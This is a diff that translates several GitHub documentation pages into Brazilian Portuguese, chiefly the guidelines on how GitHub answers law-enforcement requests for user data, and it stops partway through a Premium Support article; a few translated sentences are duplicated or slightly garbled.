+Ao estabelecer diretrizes para os responsáveis pela aplicação da lei, esperamos encontrar um equilíbrio entre os interesses frequentemente concorrentes da privacidade do usuário e da justiça. Esperamos que essas diretrizes ajudem a definir expectativas para ambos os lados, e acrescente transparência aos processos internos do GitHub. Nossos usuários devem saber que valorizamos suas informações privadas e que fazemos tudo o que estiver ao nosso alcance para protegê-las. No mínimo, isso significa transmitir dados a terceiros somente quando os requisitos legais adequados tiverem sido cumpridos. Da mesma forma, também esperamos educar os responsáveis pela aplicação da lei sobre os sistemas do GitHub, para que eles possam adaptar de forma mais eficiente suas solicitações de dados e solicitar apenas as informações necessárias para realizar suas investigações.
 
-## GitHub terminology
+## Terminologia GitHub
 
-Before asking us to disclose data, it may be useful to understand how our system is implemented.
-GitHub hosts millions of data repositories using the [Git version control system](https://git-scm.com/video/what-is-version-control).
-Repositories on GitHub—which may be public or private—are most commonly used for software development projects, but are also often used to work on content of all kinds.
+Antes de nos pedir para divulgar dados, pode ser útil entender como nosso sistema é implementado. O GitHub hospeda milhões de repositórios de dados usando o [sistema de controle de versões do Git](https://git-scm.com/video/what-is-version-control). Os repositórios no GitHub, que podem ser públicos ou privados, são mais comumente usados para projetos de desenvolvimento de software, mas também são frequentemente usados para trabalhar em conteúdos de todos os tipos.
 
-- [**Users**](/articles/github-glossary#user) —
-Users are represented in our system as personal GitHub accounts.
-Each user has a personal profile, and can own multiple repositories.
-Users can create or be invited to join organizations or to collaborate on another user's repository.
+- [**Usuários**](/articles/github-glossary#user) — Os usuários estão representados em nosso sistema como contas pessoais do GitHub. Cada usuário tem um perfil pessoal e pode possuir vários repositórios. Os usuários podem criar ou serem convidados a integrar organizações ou a colaborar com repositórios de outro usuário.
 
-- [**Collaborators**](/articles/github-glossary#collaborator) —
-A collaborator is a user with read and write access to a repository who has been invited to contribute by the repository owner.
+- [**Colaboradores**](/articles/github-glossary#collaborator) - Um colaborador é um usuário com acesso de leitura e escrita em um repositório, que foi convidado pelo proprietário do repositório a contribuir.
 
-- [**Organizations**](/articles/github-glossary#organization) —
-Organizations are a group of two or more users that typically mirror real-world organizations, such as businesses or projects.
-They are administered by users and can contain both repositories and teams of users.
+- [**Organizações**](/articles/github-glossary#organization) — Organizações são um grupo de dois ou mais usuários que, normalmente, espelham organizações do mundo real, como empresas ou projetos. Elas são administradas por usuários e podem conter repositórios e equipes de usuários.
 
-- [**Repositories**](/articles/github-glossary#repository) —
-A repository is one of the most basic GitHub elements.
-They may be easiest to imagine as a project's folder.
-A repository contains all of the project files (including documentation), and stores each file's revision history.
-Repositories can have multiple collaborators and, at its administrators' discretion, may be publicly viewable or not.
+- [**Repositórios**](/articles/github-glossary#repository) — Um repositório é um dos elementos mais básicos do GitHub. Imagine-o como a pasta de um projeto. Um repositório contém todos os arquivos de projeto (incluindo a documentação) e armazena o histórico de revisão de cada arquivo. Os repositórios podem ter vários colaboradores e, a critério dos seus administradores, podem estar publicamente visíveis ou não.
 
-- [**Pages**](/articles/what-is-github-pages) —
-GitHub Pages are public webpages freely hosted by GitHub that users can easily publish through code stored in their repositories.
-If a user or organization has a GitHub Page, it can usually be found at a URL such as `https://username.github.io` or they may have the webpage mapped to their own custom domain name.
+- [**Páginas**](/articles/what-is-github-pages) — GitHub Pages são páginas públicas na web, hospedadas gratuitamente pelo GitHub, que os usuários podem facilmente publicar através de código armazenado em seus repositórios. Se um usuário ou uma organização tem uma GitHub Page, geralmente, ela pode ser encontrada em uma URL como `https://username. ithub.io` ou pode ter a página da web mapeada para seu próprio nome de domínio personalizado.
 
-- [**Gists**](/articles/creating-gists) —
-Gists are snippets of source code or other text that users can use to store ideas or share with friends.
-Like regular GitHub repositories, Gists are created with Git, so they are automatically versioned, forkable and downloadable.
-Gists can either be public or secret (accessible only through a known URL). Public Gists cannot be converted into secret Gists.
+- [**Gist**](/articles/creating-gists) — Gists são snippets de código-fonte ou outro texto que os usuários podem usar para armazenar ideias ou compartilhar com amigos. Como repositórios regulares do GitHub, os Gists são criados com o Git, por isso são automaticamente versionados, bifurcáveis e podem ser baixados. Os Gists podem ser públicos ou secretos (acessíveis apenas através de uma URL conhecida). Os Gists Públicos não podem ser convertidos em Gists secretos.
 
-## User data on GitHub.com
+## Dados do usuário no GitHub.com
 
-Here is a non-exhaustive list of the kinds of data we maintain about users and projects on GitHub.
+Aqui está uma lista não exaustiva dos tipos de dados que mantemos a respeito dos usuários e projetos no GitHub.
 
 - <a name="public-account-data"></a>
-**Public account data** —
-There is a variety of information publicly available on GitHub about users and their repositories.
-User profiles can be found at a URL such as `https://github.com/username`.
-User profiles display information about when the user created their account as well their public activity on GitHub.com and social interactions.
-Public user profiles can also include additional information that a user may have chosen to share publicly.
-All user public profiles display:
-  - Username
-  - The repositories that the user has starred
-  - The other GitHub users the user follows
-  - The users that follow them
+**Dados públicos da conta** — Há uma variedade de informações publicamente disponíveis no GitHub sobre os usuários e seus repositórios. Perfis de usuário podem ser encontrados em uma URL, tais como `https://github.com/username`. Perfis de usuário exibem informações sobre quando o usuário criou sua conta e suas atividades públicas no GitHub.com, além de interações sociais. Perfis públicos de usuários também podem incluir informações adicionais que um usuário pode ter escolhido compartilhar publicamente. Todos os perfis públicos de usuário mostram:
+  - Nome de usuário
+  - Os repositórios que o usuário marcou com estrela
+  - Os outros usuários do GitHub que o usuário segue
+  - Os usuários que o seguem
 
-  Optionally, a user may also choose to share the following information publicly:
-  - Their real name
-  - An avatar
-  - An affiliated company
-  - Their location
-  - A public email address
-  - Their personal web page
-  - Organizations to which the user is a member (*depending on either the organizations' or the users' preferences*)
+  Opcionalmente, um usuário também pode optar por compartilhar publicamente as seguintes informações:
+  - Seu nome real
+  - Um avatar
+  - Uma empresa afiliada
+  - Sua localização
+  - Um endereço de e-mail público
+  - Sua página da web pessoal
+  - Organizações das quais o usuário é membro (*dependendo das preferências da organização ou dos usuários*)
 
 - <a name="private-account-data"></a>
-**Private account data** —
-GitHub also collects and maintains certain private information about users as outlined in our [Privacy Policy](/articles/github-privacy-statement).
-This may include:
-  - Private email addresses
-  - Payment details
-  - Security access logs
-  - Data about interactions with private repositories
+**Dados privados da conta** — O GitHub também coleta e mantém certas informações privadas sobre os usuários, conforme descrito em nossa [Política de Privacidade](/articles/github-privacy-statement). Isso pode incluir:
+  - Endereço de e-mail privado
+  - Dados de pagamento
+  - Logs de acesso de segurança
+  - Dados sobre interações com repositórios privados
 
-  To get a sense of the type of private account information that GitHub collects, you can visit your {% data reusables.user_settings.personal_dashboard %} and browse through the sections in the left-hand menubar.
+  Para ter uma noção do tipo de informações privadas da conta que o GitHub coleta, você pode visitar seu {% data reusables.user_settings.personal_dashboard %} e navegar pelas seções do menu à esquerda.
 
 - <a name="organization-account-data"></a>
-**Organization account data** —
-Information about organizations, their administrative users and repositories is publicly available on GitHub.
-Organization profiles can be found at a URL such as `https://github.com/organization`.
-Public organization profiles can also include additional information that the owners have chosen to share publicly.
-All organization public profiles display:
-  - The organization name
-  - The repositories that the owners have starred
-  - All GitHub users that are owners of the organization
+**Dados da conta da organização** — Informações sobre organizações, seus usuários administrativos e repositórios estão publicamente disponíveis no GitHub. Perfis da organização podem ser encontrados em uma URL, tais como `https://github.com/organization`. Os perfis públicos da organização também podem incluir informações adicionais que os proprietários optaram por compartilhar publicamente. Todos os perfis públicos de organizações mostram:
+  - Nome da organização
+  - Os repositórios que os proprietários marcaram com estrela
+  - Todos os usuários GitHub que são proprietários da organização
 
-  Optionally, administrative users may also choose to share the following information publicly:
-  - An avatar
-  - An affiliated company
-  - Their location
-  - Direct Members and Teams
-  - Collaborators
+  Opcionalmente, um usuário administrador também pode optar por compartilhar publicamente as seguintes informações:
+  - Um avatar
+  - Uma empresa afiliada
+  - Sua localização
+  - Membros e equipes diretas
+  - Colaboradores
 
 - <a name="public-repository-data"></a>
-**Public repository data** —
-GitHub is home to millions of public, open-source software projects.
-You can browse almost any public repository (for example, the [Atom Project](https://github.com/atom/atom)) to get a sense for the information that GitHub collects and maintains about repositories.
-This can include:
+**Dados de repositórios públicos** — O GitHub abriga milhões de projetos de software públicos e de código aberto. Você pode navegar por quase qualquer repositório público (por exemplo, o [Atom Project](https://github.com/atom/atom)) para saber o tipo de informação que o GitHub coleta e mantém sobre repositórios. Isso pode incluir:
 
-  - The code itself
-  - Previous versions of the code
-  - Stable release versions of the project
-  - Information about collaborators, contributors and repository members
-  - Logs of Git operations such as commits, branching, pushing, pulling, forking and cloning
-  - Conversations related to Git operations such as comments on pull requests or commits
-  - Project documentation such as Issues and Wiki pages
-  - Statistics and graphs showing contributions to the project and the network of contributors
+  - O código em si
+  - Versões anteriores do código
+  - Versões lançadas e estáveis do projeto
+  - Informações sobre colaboradores, contribuidores e membros do repositório
+  - Registros de operações do Git como commits, ramificação, push, pull, bifurcação e clonagem
+  - Conversas relacionadas a operações do Git, como comentários em pull requests ou commits
+  - Documentação do projeto, como problemas e páginas Wiki
+  - Estatísticas e gráficos mostrando contribuições para o projeto e a rede de colaboradores
 
 - <a name="private-repository-data"></a>
-**Private repository data** —
-GitHub collects and maintains the same type of data for private repositories that can be seen for public repositories, except only specifically invited users may access private repository data.
+**Dados de repositórios privados** — O GitHub coleta e mantém o mesmo tipo de dados para repositórios privados e públicos. No entanto, apenas usuários convidados especificamente podem acessar dados privados do repositório.
 
 - <a name="other-data"></a>
-**Other data** —
-Additionally, GitHub collects analytics data such as page visits and information occasionally volunteered by our users (such as communications with our support team, survey information and/or site registrations).
+**Outros dados** — Adicionalmente, o GitHub coleta dados analíticos como visitas de página e informações ocasionalmente voluntárias pelos nossos usuários (como comunicações com a nossa equipe de suporte, informações da pesquisa e/ou registros de sites).
 
-## We will notify any affected account owners
+## Notificaremos qualquer proprietário de conta afetado
 
-It is our policy to notify users about any pending requests regarding their accounts or repositories, unless we are prohibited by law or court order from doing so. Before disclosing user information, we will make a reasonable effort to notify any affected account owner(s) by sending a message to their verified email address providing them with a copy of the subpoena, court order, or warrant so that they can have an opportunity to challenge the legal process if they wish. In (rare) exigent circumstances, we may delay notification if we determine delay is necessary to prevent death or serious harm or due to an ongoing investigation.
+É nossa política notificar os usuários sobre quaisquer pedidos pendentes relativos a suas contas ou seus repositórios, a não ser que sejamos proibidos por lei ou por decisão judicial. Antes de divulgar informações do usuário, faremos um esforço razoável para notificar qualquer proprietário da conta afetada enviando uma mensagem para seu endereço de e-mail verificado, fornecendo a ele uma cópia da intimação, da ordem judicial, ou do mandado, para que possa ter a oportunidade de contestar o processo judicial, se assim o desejar. Em (raras) circunstâncias exigentes, podemos atrasar a notificação, se determinarmos que os atrasos são necessários para evitar a morte ou danos graves ou devido a uma investigação em curso.
 
-## Disclosure of non-public information
+## Compartilhamento de informações não públicas
 
-It is our policy to disclose non-public user information in connection with a civil or criminal investigation only with user consent or upon receipt of a valid subpoena, civil investigative demand, court order, search warrant, or other similar valid legal process. In certain exigent circumstances (see below), we also may share limited information but only corresponding to the nature of the circumstances, and would require legal process for anything beyond that.
-GitHub reserves the right to object to any requests for non-public information.
-Where GitHub agrees to produce non-public information in response to a lawful request, we will conduct a reasonable search for the requested information.
-Here are the kinds of information we will agree to produce, depending on the kind of legal process we are served with:
+É nossa política divulgar informações de usuário não públicas que estejam relacionadas com uma investigação civil ou criminal, somente mediante consentimento do usuário ou após o recebimento de uma intimação válida, de uma demanda de investigação civil, ordem judicial, mandado de busca ou outro processo legal válido similar. Em certas circunstâncias (veja abaixo), também podemos compartilhar informações limitadas, mas apenas correspondentes à natureza das circunstâncias, e será necessário processo judicial para qualquer coisa além disso. O GitHub reserva-se o direito de se opor a quaisquer solicitações de informações não públicas. Quando o GitHub concordar em produzir informações não públicas em resposta a uma solicitação legal, realizaremos uma pesquisa razoável a respeito das informações solicitadas. Aqui estão os tipos de informações que concordamos em produzir, dependendo do tipo de processo judicial com o qual estivermos lidando:
 
 - <a name="with-user-consent"></a>
-**With user consent** —
-GitHub will provide private account information, if requested, directly to the user (or an owner, in the case of an organization account), or to a designated third party with the user's written consent once GitHub is satisfied that the user has verified his or her identity.
+**Com o consentimento do usuário** — O GitHub fornecerá informações privadas da conta, caso solicitado, diretamente ao usuário (ou a um proprietário, no caso de uma conta de organização), ou para uma terceira pessoa designada com o consentimento por escrito do usuário, desde que estejamos confiantes de que o usuário teve sua identidade verificada.
 
 - <a name="with-a-subpoena"></a>
-**With a subpoena** —
-If served with a valid subpoena, civil investigative demand, or similar legal process issued in connection with an official criminal or civil investigation, we can provide certain non-public account information, which may include:
+**Com uma intimação** — De posse de uma intimação válida, uma demanda de investigação civil, ou um ato jurídico semelhante emitido em relação a uma investigação civil ou criminal oficial, podemos fornecer certas informações não públicas sobre a conta, que podem incluir:
 
-  - Name(s) associated with the account
-  - Email address(es) associated with the account
-  - Billing information
-  - Registration date and termination date
-  - IP address, date, and time at the time of account registration
-  - IP address(es) used to access the account at a specified time or event relevant to the investigation
+  - Nome(s) associado(s) com a conta
+  - Endereço(s) de e-mail associado(s) com a conta
+  - Informações de cobrança
+  - Data de cadastro e término
+  - Endereço IP, data e hora no momento do registro da conta
+  - Endereço(s) IP(s) usado(s) para acessar a conta em um momento ou evento especificado relevante à investigação
 
-In the case of organization accounts, we can provide the name(s) and email address(es) of the account owner(s) as well as the date and IP address at the time of creation of the organization account. We will not produce information about other members or contributors, if any, to the organization account or any additional information regarding the identified account owner(s) without a follow-up request for those specific users.
+No caso das contas da organização, podemos fornecer o(s) nome(s) e endereço(s) de e-mail do(s) proprietário(s) da conta, bem como a data e o endereço IP no momento da criação da conta da organização. Não vamos produzir informações sobre outros membros ou colaboradores, se houver, da conta da organização ou qualquer informação adicional sobre o(s) proprietário(s) identificado(s) da conta sem uma solicitação de acompanhamento para esses usuários específicos.
 
-Please note that the information available will vary from case to case. Some of the information is optional for users to provide. In other cases, we may not have collected or retained the information.
+Por favor, note que a informação disponível varia de caso a caso. Algumas das informações são opcionais para os usuários fornecerem. Noutros casos, podemos não ter recolhido ou mantido a informação.
 
 - <a name="with-a-court-order-or-a-search-warrant"></a>
-**With a court order *or* a search warrant** — We will not disclose account access logs unless compelled to do so by either
-(i) a court order issued under 18 U.S.C. Section 2703(d), upon a showing of specific and articulable facts showing that there are reasonable grounds to believe that the information sought is relevant and material to an ongoing criminal investigation; or
-(ii) a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures, upon a showing of probable cause.
-In addition to the non-public user account information listed above, we can provide account access logs in response to a court order or search warrant, which may include:
+**Com uma ordem judicial *ou* um mandado de busca** — Não divulgaremos os logs de acesso à conta, a menos que sejamos obrigados a fazê-lo por (i) uma ordem judicial emitida conforme 18 U.S.C. Seção 2703(d), sobre a demonstração de fatos específicos e articuláveis que mostrem que há razões razoáveis para acreditar que a informação solicitada é relevante e material para uma investigação criminal em curso; ou (ii) um mandado de busca emitido nos termos dos procedimentos descritos nas Regras Federais de Processo Penal ou procedimentos de autorização estatal equivalentes, mediante demonstração de uma causa provável. Seção 2703(d), após a demonstração de fatos específicos e articuláveis que mostrem que há razões razoáveis para acreditar que a informação solicitada é relevante e material para uma investigação criminal em curso; ou (ii) um mandado de busca emitido de acordo com os procedimentos descritos no Regimento Federal de Assuntos Penal ou procedimentos de mandado de Estado equivalente, após a demonstração de uma causa provável. Além das informações da conta de usuário não públicas listadas acima podemos fornecer logs de acesso à conta em resposta a uma ordem judicial ou mandado de busca, que podem incluir:
 
-  - Any logs which would reveal a user's movements over a period of time
-  - Account or private repository settings (for example, which users have certain permissions, etc.)
-  - User- or IP-specific analytic data such as browsing history
-  - Security access logs other than account creation or for a specific time and date
+  - Quaisquer logs que revelaria os movimentos de um usuário ao longo de um período de tempo
+  - Configurações de conta ou repositório privado (por exemplo, quais usuários têm certas permissões, etc.)
+  - Dados analíticos específicos do usuário ou IP, como histórico de navegação
+  - Logs de segurança de acesso além da criação de conta ou para um horário e data específicos
 
 - <a name="only-with-a-search-warrant"></a>
-**Only with a search warrant** —
-We will not disclose the private contents of any user account unless compelled to do so under a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures upon a showing of probable cause.
-In addition to the non-public user account information and account access logs mentioned above, we will also provide private user account contents in response to a search warrant, which may include:
+**Somente com um mandado de busca** — Não divulgaremos o conteúdo privado de qualquer conta de usuário, a menos que seja obrigado a fazê-lo sob um mandado de busca, emitido de acordo com os procedimentos descritos nas Regras Federais de Processo Penal ou procedimentos de autorização estatal equivalentes, após a demonstração de causas prováveis. Além das informações da conta de usuário não públicas e os logs de acesso à conta mencionados acima, forneceremos também conteúdo privado da conta de usuário em resposta a um mandado de busca, que pode incluir:
 
-  - Contents of secret Gists
-  - Source code or other content in private repositories
-  - Contribution and collaboration records for private repositories
-  - Communications or documentation (such as Issues or Wikis) in private repositories
-  - Any security keys used for authentication or encryption
+  - Conteúdos de Gists secretos
+  - Código fonte ou outro conteúdo em repositórios privados
+  - Registros de colaboração e contribuição para repositórios privados
+  - Comunicações ou documentação (como problemas ou Wikis) em repositórios privados
+  - Qualquer chave de segurança usada para autenticação ou criptografia
 
 - <a name="in-exigent-circumstances"></a>
-**Under exigent circumstances** —
-If we receive a request for information under certain exigent circumstances (where we believe the disclosure is necessary to prevent an emergency involving danger of death or serious physical injury to a person), we may disclose limited information that we determine necessary to enable law enforcement to address the emergency. For any information beyond that, we would require a subpoena, search warrant, or court order, as described above. For example, we will not disclose contents of private repositories without a search warrant. Before disclosing information, we confirm that the request came from a law enforcement agency, an authority sent an official notice summarizing the emergency, and how the information requested will assist in addressing the emergency.
+**Sob circunstâncias críticas** — Se recebermos uma solicitação de informações sob certas circunstâncias críticas (onde acreditamos que a divulgação é necessária para evitar uma situação emergencial que envolva risco de morte ou graves lesões físicas para uma pessoa), podemos divulgar informações limitadas que determinarmos necessárias para permitir que a aplicação da lei responda à emergência da situação. Para qualquer informação além disso, precisaríamos de uma intimação, um mandado de busca ou ordem judicial, conforme descrito acima. Por exemplo, não divulgaremos o conteúdo de repositórios privados sem um mandado de busca. Antes de divulgar informações, confirmamos que o pedido veio de um agente de aplicação da lei, que uma autoridade enviou uma notificação oficial resumindo a situação emergencial, e a forma como as informações solicitadas ajudarão a responder à emergência.
 
-## Cost reimbursement
+## Reembolso de custos
 
-Under state and federal law, GitHub can seek reimbursement for costs associated with compliance with a valid legal demand, such as a subpoena, court order or search warrant. We only charge to recover some costs, and these reimbursements cover only a portion of the costs we actually incur to comply with legal orders.
+Nos termos das leis estadual e federal, o GitHub pode pedir reembolso por custos associados à conformidade com uma demanda legal válida, como uma intimação, ordem de tribunal ou mandado de busca. Só cobramos a recuperação de alguns custos, e estes reembolsos cobrem apenas uma parte dos custos que efetivamente incorremos para cumprir as disposições legais.
 
-While we do not charge in emergency situations or in other exigent circumstances, we seek reimbursement for all other legal requests in accordance with the following schedule, unless otherwise required by law:
+Embora não cobremos em situações de emergência ou em outras circunstâncias exigentes, buscamos o reembolso para todas as outras solicitações legais, de acordo com o cronograma a seguir, a menos que exigido de outra forma por lei:
 
-- Initial search of up to 25 identifiers: Free
-- Production of subscriber information/data for up to 5 accounts: Free
-- Production of subscriber information/data for more than 5 accounts: $20 per account
-- Secondary searches: $10 per search
+- Pesquisa inicial de até 25 identificadores: livre
+- Produção de informação/dados de assinantes para até 5 contas: grátis
+- Produção de informação/dados de assinante para mais de 5 contas: US$ 20 por conta
+- Pesquisas secundárias: US$ 10 por pesquisa
 
-## Data preservation
+## Conservação de dados
 
-We will take steps to preserve account records for up to 90 days upon formal request from U.S. law enforcement in connection with official criminal investigations, and pending the issuance of a court order or other process.
+Vamos tomar medidas para preservar os registros das conta por até 90 dias mediante solicitação formal dos EUA. aplicação da lei relacionada a investigações criminais oficiais e aguardando a emissão de uma decisão judicial ou outro processo.
 
-## Submitting requests
+## Envio de solicitação
 
-Please serve requests to:
+Por favor, envie solicitações para:
 
 ```
 GitHub, Inc.
 c/o Corporation Service Company
-2710 Gateway Oaks Drive, Suite 150N
-Sacramento, CA 95833-3505
+2710 Gateway Oaks Drive, Suite 150N Sacramento, CA 95833-3505
 ```
 
-Courtesy copies may be emailed to legal@support.github.com.
+Cópias de cortesia podem ser enviadas para legal@support.github.com.
 
-Please make your requests as specific and narrow as possible, including the following information:
+Por favor, faça suas solicitações da forma mais específica e breve quanto for possível, incluindo as seguintes informações:
 
-- Full information about authority issuing the request for information
-- The name and badge/ID of the responsible agent
-- An official email address and contact phone number
-- The user, organization, repository name(s) of interest
-- The URLs of any pages, gists or files of interest
-- The description of the types of records you need
+- Informações completas sobre a autoridade emissora do pedido de informações
+- O nome e o registro/ID do agente responsável
+- Um endereço de e-mail oficial e número de telefone de contato
+- Nome do usuário, da organização, do repositório de interesse
+- As URLs de qualquer página, gists ou arquivos de interesse
+- A descrição dos tipos de registros de que você precisa
 
-Please allow at least two weeks for us to be able to look into your request.
+Por favor, conceda-nos pelo menos duas semanas para que possamos analisar o seu pedido.
 
-## Requests from foreign law enforcement
+## Pedidos de aplicação de lei estrangeira
 
-As a United States company based in California, GitHub is not required to provide data to foreign governments in response to legal process issued by foreign authorities.
-Foreign law enforcement officials wishing to request information from GitHub should contact the United States Department of Justice Criminal Division's Office of International Affairs.
-GitHub will promptly respond to requests that are issued via U.S. court by way of a mutual legal assistance treaty (“MLAT”) or letter rogatory.
+Como empresa dos Estados Unidos sediada na Califórnia, o GitHub não é obrigado a fornecer dados a governos estrangeiros em resposta a processo judicial emitido por autoridades estrangeiras. As autoridades responsáveis pela aplicação da lei estrangeira que desejem solicitar informações ao GitHub deverão entrar em contato com o Gabinete de Assuntos Internacionais da Divisão Penal do Departamento de Justiça dos Estados Unidos. O GitHub responderá prontamente às solicitações que forem emitidas via tribunal dos EUA, por meio de um contrato de assistência jurídica mútua (“MLAT”) ou carta rogatória. tribunal por meio de um tratado de assistência jurídica mútua (“MLAT”) ou de uma rogatória.
 
-## Questions
+## Perguntas
 
-Do you have other questions, comments or suggestions? Please contact {% data variables.contact.contact_support %}.
+Você tem alguma pergunta, comentário ou sugestão? Entre em contato com o {% data variables.contact.contact_support %}.
diff --git a/translations/pt-BR/content/github/site-policy/index.md b/translations/pt-BR/content/github/site-policy/index.md
index 1496ee8035..1cc9c9b72f 100644
--- a/translations/pt-BR/content/github/site-policy/index.md
+++ b/translations/pt-BR/content/github/site-policy/index.md
@@ -1,5 +1,5 @@
 ---
-title: Site policy
+title: Política do site
 redirect_from:
   - /categories/61/articles
   - /categories/site-policy
diff --git a/translations/pt-BR/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md b/translations/pt-BR/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md
index e2b617a11c..be00f786ff 100644
--- a/translations/pt-BR/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md
+++ b/translations/pt-BR/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing data use settings for your private repository
-intro: 'To help {% data variables.product.product_name %} connect you to relevant tools, people, projects, and information, you can configure data use for your private repository.'
+title: Gerenciando configurações de uso de dados para seu repositório privado
+intro: 'Para ajudar o {% data variables.product.product_name %} a conectar você a ferramentas, pessoas, projetos e informações relevantes, você pode configurar o uso de dados de seu repositório privado.'
 redirect_from:
   - /articles/opting-into-or-out-of-data-use-for-your-private-repository
   - /github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-data-use-for-your-private-repository
@@ -10,26 +10,25 @@ versions:
 topics:
   - Policy
   - Legal
-shortTitle: Manage data use for private repo
+shortTitle: Gerenciar o uso de dados para repositório privado
 ---
 
-## About data use for your private repository
+## Sobre o uso de dados para seu repositório privado
 
-When you enable data use for your private repository, you'll be able to access the dependency graph, where you can track your repository's dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."
+Ao habilitar o uso de dados para seu repositório privado, poderá acessar o gráfico de dependências, em que você pode acompanhar as dependências do repositório e receber {% data variables.product.prodname_dependabot_alerts %} quando o {% data variables.product.product_name %} detectar dependências vulneráveis. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)"
 
-## Enabling or disabling data use features
+## Habilitar ou desabilitar os recursos de uso de dados
 
 {% data reusables.security.security-and-analysis-features-enable-read-only %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.{% ifversion fpt %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% endif %}
+4. Em "Configurar funcionalidades de segurança e análise", à direita do recurso, clique em **Desabilitar** ou **Habilitar**.{% ifversion fpt %} !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% endif %}
 
-## Further reading
+## Leia mais
 
-- "[About {% data variables.product.prodname_dotcom %}'s use of your data](/articles/about-github-s-use-of-your-data)"
-- "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)"
-- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
+- "[Sobre o uso de seus dados pelo {% data variables.product.prodname_dotcom %}](/articles/about-github-s-use-of-your-data)"
+- "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)"
+- "[Gerenciar as configurações de segurança e análise para o seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
diff --git a/translations/pt-BR/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md b/translations/pt-BR/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md
index d31732d6b3..c0517465cf 100644
--- a/translations/pt-BR/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md
+++ b/translations/pt-BR/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Premium Support for GitHub Enterprise Cloud
-intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_ghe_cloud %} customers.'
+title: Sobre o suporte Premium do GitHub para o GitHub Enterprise Cloud
+intro: 'O {% data variables.contact.premium_support %} é uma oferta de suporte complementar paga para clientes do {% data variables.product.prodname_ghe_cloud %}.'
 redirect_from:
   - /articles/about-github-premium-support
   - /articles/about-github-premium-support-for-github-enterprise-cloud
@@ -9,30 +9,30 @@ versions:
   ghec: '*'
 topics:
   - Jobs
-shortTitle: GitHub Premium Support
+shortTitle: Suporte do GitHub Premium
 ---
 
 {% note %}
 
-**Notes:**
+**Notas:**
 
-- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of September 2018.
+- Os termos do {% data variables.contact.premium_support %} estão sujeitos a alteração sem aviso prévio e entram em vigor a partir de setembro de 2018.
 
 - {% data reusables.support.data-protection-and-privacy %}
 
-- This article contains the terms of {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %} customers. The terms may be different for customers of {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_enterprise %} customers who purchase {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} together. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)" and "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)."
+- Este artigo contém os termos do {% data variables.contact.premium_support %} para os clientes do {% data variables.product.prodname_ghe_cloud %}. Os termos podem ser diferentes para clientes do {% data variables.product.prodname_ghe_server %} ou do {% data variables.product.prodname_enterprise %} que compram o {% data variables.product.prodname_ghe_server %} e o {% data variables.product.prodname_ghe_cloud %} juntos. Para obter mais informações, consulte "[Sobre {% data variables.contact.premium_support %} para {% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)" and "[Sobre{% data variables.contact.premium_support %} para {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)."
 
 {% endnote %}
 
-## About {% data variables.contact.premium_support %}
+## Sobre o {% data variables.contact.premium_support %}
 
-{% data variables.contact.premium_support %} offers:
-  - Written support, in English, through our support portal 24 hours per day, 7 days per week
-  - Phone support, in English, 24 hours per day, 7 days per week
-  - A Service Level Agreement (SLA) with guaranteed initial response times
-  - Access to premium content
-  - Scheduled health checks
-  - Managed services
+O {% data variables.contact.premium_support %} oferece:
+  - Suporte gravado, em inglês, por meio do nosso portal de suporte 24 horas por dia, 7 dais por semana
+  - Suporte por telefone, em inglês, 24 horas por dias, 7 dias por semana
+  - Um Contrato de nível de serviço (SLA, Service Level Agreement) com tempos de resposta inicial garantidos
